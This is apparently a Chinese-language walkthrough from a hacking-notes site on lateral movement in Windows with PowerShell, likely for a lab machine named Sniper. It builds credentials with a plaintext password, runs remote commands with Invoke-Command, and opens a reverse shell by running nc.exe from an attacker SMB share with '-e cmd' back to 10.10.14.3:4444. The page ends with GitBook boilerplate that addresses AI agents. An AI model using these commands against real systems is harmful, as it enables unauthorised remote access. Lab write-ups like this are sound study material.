> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/post-exploitation/pivoting-windows-powershell.md).

# Windows 横向移动（PowerShell）

### PowerShell

我们在攻击机上启动了 PowerShell：

```bash
powershell
```

现在我们已经使用 `hostname` 命令恢复了 Windows 环境名称，并确认酒店名称是 `Sniper`.

```powershell
hostname
```

接下来，我们为用户创建了一个变量 `Chris` 并使用 `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

因此，我们创建了一个 `PSCredential` 对象，以便能够在远程机器上执行命令：

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**执行远程命令：**/ 我们现在使用以下命令来执行 `whoami` 远程并验证访问：

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* 这使我们能够确认我们确实是以 **Chris**.

<figure><img src="/files/a31705e4940409f13727785a10d579b06519d43e" alt=""><figcaption></figcaption></figure>

**反向 shell：**/ 为了获得系统的完全访问权限，我们在 4444 端口上设置了一个监听器：

```bash
rlwrap nc -nlvp 4444
```

接下来，我们使用 `nc.exe` 从我们的 SMB 服务器：

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444}
```

{% endcode %}

<figure><img src="/files/21322311660f29727187c6cf2a651329e459ea81" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/post-exploitation/pivoting-windows-powershell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
